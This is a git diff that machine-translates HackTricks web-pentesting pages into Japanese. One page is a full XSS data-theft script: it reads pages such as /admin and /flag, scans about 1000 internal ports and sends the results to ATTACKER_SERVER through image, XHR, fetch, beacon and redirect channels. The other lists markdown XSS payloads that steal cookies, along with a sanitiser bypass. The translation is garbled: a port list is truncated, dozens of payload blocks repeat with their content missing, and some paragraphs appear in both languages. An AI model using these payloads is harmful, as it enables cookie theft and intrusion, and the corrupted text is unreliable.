セキュリティヘッダの設定:適切なセキュリティヘッダを設定することで、ブラウザが同一オリジンポリシーを適用し、SOMEの攻撃を防ぐことができます。 +- クリックジャッキング対策:クリックジャッキング攻撃を防ぐために、適切なフレームバスティング対策を実施することが重要です。 + +以上が、SOMEの攻撃手法と対策についての概要です。
diff --git a/pentesting-web/xss-cross-site-scripting/steal-info-js.md b/pentesting-web/xss-cross-site-scripting/steal-info-js.md index 351f2c71d..3bafc023a 100644 --- a/pentesting-web/xss-cross-site-scripting/steal-info-js.md +++ b/pentesting-web/xss-cross-site-scripting/steal-info-js.md @@ -1,22 +1,18 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - ```javascript // SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected) // If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1 @@ -34,72 +30,72 @@ var ALL_INFO = "" // Only used by Location exfiltration // Function to make the data possible to transmit via either GET or POST function encode(text){ - return encodeURI(btoa(text)); +return encodeURI(btoa(text)); } // Functions to exfiltrate the information function exfil_info(info_name, text, is_final=false){ - if (EXFIL_BY_IMG) exfil_by_img(info_name, text); - if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text); - if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text); - if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text); - if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text); - if (EXFIL_BY_NAV) exfil_by_nav(info_name, text); - if (EXFIL_BY_LOC){ - if (is_final) exfil_by_loc(info_name, text); - else ALL_INFO += "\n\n" + info_name + "=" + text; - } +if (EXFIL_BY_IMG) exfil_by_img(info_name, text); +if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text); +if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text); +if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text); +if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text); +if (EXFIL_BY_NAV) exfil_by_nav(info_name, text); +if (EXFIL_BY_LOC){ +if (is_final) exfil_by_loc(info_name, text); +else ALL_INFO += "\n\n" + info_name + "=" + text; +} } function exfil_by_img(info_name, text){ - new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text +new Image().src = ATTACKER_SERVER + "/exfil_by_img/" + info_name + "?" + info_name + "=" + text } function exfil_by_rq_get(info_name, text){ - var xhttp = new XMLHttpRequest(); - xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true); - xhttp.send(); +var xhttp = new XMLHttpRequest(); +xhttp.open("GET", ATTACKER_SERVER + "/exfil_by_rq_get/" + info_name + "?" + info_name + "=" + text, true); +xhttp.send(); } function exfil_by_rq_post(info_name, text){ - var xhttp = new XMLHttpRequest(); - xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true); - xhttp.send(text); +var xhttp = new XMLHttpRequest(); +xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true); +xhttp.send(text); } function exfil_by_fetch_get(info_name, text){ - fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'}); +fetch(ATTACKER_SERVER + "/exfil_by_fetch_get/" + info_name + "?" + info_name + "=" + text, {method: 'GET', mode: 'no-cors'}); } function exfil_by_fetch_post(info_name, text){ - fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text}); +fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {method: 'POST', mode: 'no-cors', body: text}); } function exfil_by_nav(info_name, text){ - navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text) +navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text) } function exfil_by_loc(info_name, text){ - document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO); +document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO); } // Functions to get the data to exfiltrate function exfil_page_content(url){ - var xhr = new XMLHttpRequest(); - xhr.onreadystatechange = function() { - if (xhr.readyState == XMLHttpRequest.DONE) { - exfil_info(url, encode(xhr.responseText)); - } - } - xhr.open('GET', url, true); - xhr.send(null); +var xhr = new XMLHttpRequest(); +xhr.onreadystatechange = function() { +if (xhr.readyState == XMLHttpRequest.DONE) { +exfil_info(url, encode(xhr.responseText)); +} +} +xhr.open('GET', url, true); +xhr.send(null); } function exfil_internal_port(port){ - fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => { - exfil_info("internal_port", encode(port)); - }); +fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => { +exfil_info("internal_port", encode(port)); +}); } @@ -111,35 +107,32 @@ exfil_page_content("/"); exfil_page_content("/admin"); // If 404 nothing will be sent exfil_page_content("/flag"); exfil_page_content("/flag.txt"); - -top_1000 = [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389] +```markdown +top_1000 = [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190 +```javascript top_1000.forEach(port => exfil_internal_port(port)); if (EXFIL_BY_LOC){ - setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s +setTimeout(exfil_info("終了", "終了", true), 5000) // 5秒後に場所による情報の外部流出 } -// Sniff info +// 情報のスニッフィング window.onmessage = function(e){ - exfil_info("onmessage", encode(e.data)) +exfil_info("onmessage", encode(e.data)) } ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index e9c286627..23413223d 100644 --- a/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -4,32 +4,29 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、PRを[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)に提出してください**。 -If you have the chance to inject code in markdown, there are a few options you can use to trigger a XSS when the code gets interpreted. +もしマークダウンにコードを注入する機会がある場合、コードが解釈される際にXSSをトリガーするために使用できるいくつかのオプションがあります。 -### HTML tags - -The most common way to get XSS in markdown is to inject common HTML tags that execute javascript, because several makdown interpreters will also accept HTML +### HTMLタグ +マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグを注入することです。なぜなら、いくつかのマークダウンインタプリタはHTMLも受け入れるからです。 ```html ``` +[メインのXSSページ](./)には、さらに多くの例があります。 -You can find more examples in the [main XSS page of hacktricks](./). - -### Javascript links - -If HTML tags aren't an option you could always try to play with markdown syntax: +### JavaScriptリンク +HTMLタグが選択肢にない場合は、常にMarkdownの構文を使って試してみることができます: ```html [a](javascript:prompt(document.cookie)) @@ -44,33 +41,602 @@ If HTML tags aren't an option you could always try to play with markdown syntax: [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:window.onerror=alert;throw%201) ``` +### Img イベント構文の乱用 -### Img event syntax abuse +The `img` tag in HTML allows the inclusion of images in a webpage. It also supports various attributes, including the `onerror` attribute, which is triggered when an error occurs while loading the image. This attribute can be abused to execute arbitrary JavaScript code. +HTMLの`img`タグは、ウェブページに画像を含めるために使用されます。また、`onerror`属性など、さまざまな属性もサポートしています。`onerror`属性は、画像の読み込み中にエラーが発生した場合にトリガーされ、任意のJavaScriptコードを実行するために悪用されることがあります。 + +To exploit this, an attacker can inject malicious JavaScript code into the `src` attribute of the `img` tag. When the image fails to load, the `onerror` event is triggered, executing the injected code. + +攻撃者は、悪意のあるJavaScriptコードを`img`タグの`src`属性に注入することで、これを悪用することができます。画像の読み込みに失敗すると、`onerror`イベントがトリガーされ、注入されたコードが実行されます。 + +Here is an example of an XSS payload using the `onerror` attribute: + +以下は、`onerror`属性を使用したXSSペイロードの例です。 + +```html + +``` + +In this example, when the image `nonexistent-image.jpg` fails to load, the `onerror` event is triggered, and an alert box with the message "XSS" is displayed. + +この例では、画像`nonexistent-image.jpg`の読み込みに失敗すると、`onerror`イベントがトリガーされ、メッセージ「XSS」を含むアラートボックスが表示されます。 + +This technique can be used to perform various malicious actions, such as stealing user cookies, redirecting users to malicious websites, or defacing the webpage. + +この技術は、ユーザーのクッキーを盗む、ユーザーを悪意のあるウェブサイトにリダイレクトする、ウェブページを改ざんするなど、さまざまな悪意のある行動に使用することができます。 ```markdown ![Uh oh...]("onerror="alert('XSS')) ![Uh oh...](https://www.example.com/image.png"onload="alert('XSS')) ![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad')) ![Escape SRC - onerror]("onerror="alert('ImageOnError')) ``` +### HTMLサニタイザーマークダウンバイパス -### HTML Sanitiser Markdown Bypass - -The following code is **sanitising HTML input** and then **passing it to the markdown parser**, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify - +以下のコードは、HTML入力を**サニタイズ**してから**マークダウンパーサーに渡しています**。その後、MarkdownとDOMPurifyの間の誤解釈を悪用してXSSをトリガーすることができます。 ```html ``` +ペイロードの例: -Payloads example: +```markdown + +``` +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown +[Click me](javascript:alert('XSS')) +``` + +```html +Click me +``` + +```markdown +[Click me](javascript:alert('XSS')) +``` + +```html +Click me +``` + +```markdown +![Image](javascript:alert('XSS')) +``` + +```html +Image +``` + +```markdown +![Image](javascript:alert('XSS')) +``` + +```html +Image +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Click me +``` + +```html +Click me +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown +Image +``` + +```html +Image +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html + +``` + +```markdown + +``` + +```html +">

``` +### ファジング -### Fuzzing +Fuzzing(ファジング)は、アプリケーションやシステムのセキュリティテスト手法の一つです。ファジングは、ランダムなデータや不正なデータを入力として、アプリケーションやシステムの挙動をテストすることを目的としています。ファジングは、アプリケーションやシステムが予期しない挙動を示す可能性がある場合に特に有効です。 +ファジングは、セキュリティ上の脆弱性を特定するために使用されます。ファジングは、入力データに対して異常な振る舞いを引き起こす可能性のある特定のパターンや条件を特定することができます。これにより、攻撃者がアプリケーションやシステムに悪意のあるコードを注入するなどの攻撃を行うための脆弱性が明らかになります。 + +ファジングは、自動化されたツールを使用して実行することができます。これにより、大量のデータを効率的にテストすることができます。ファジングは、アプリケーションやシステムのセキュリティを向上させるために、定期的に実施することが推奨されています。 + +ファジングは、アプリケーションやシステムのセキュリティテストにおいて重要な手法の一つです。ファジングを使用することで、潜在的な脆弱性を特定し、それに対する適切な対策を講じることができます。 ```html - @@ -164,15 +736,14 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA ![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\ ![XSS'"`onerror=prompt(document.cookie)](x)\ ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/pentesting-web/xss-cross-site-scripting/xss-tools.md b/pentesting-web/xss-cross-site-scripting/xss-tools.md index 16a5a0f9f..221c1ee83 100644 --- a/pentesting-web/xss-cross-site-scripting/xss-tools.md +++ b/pentesting-web/xss-cross-site-scripting/xss-tools.md @@ -1,67 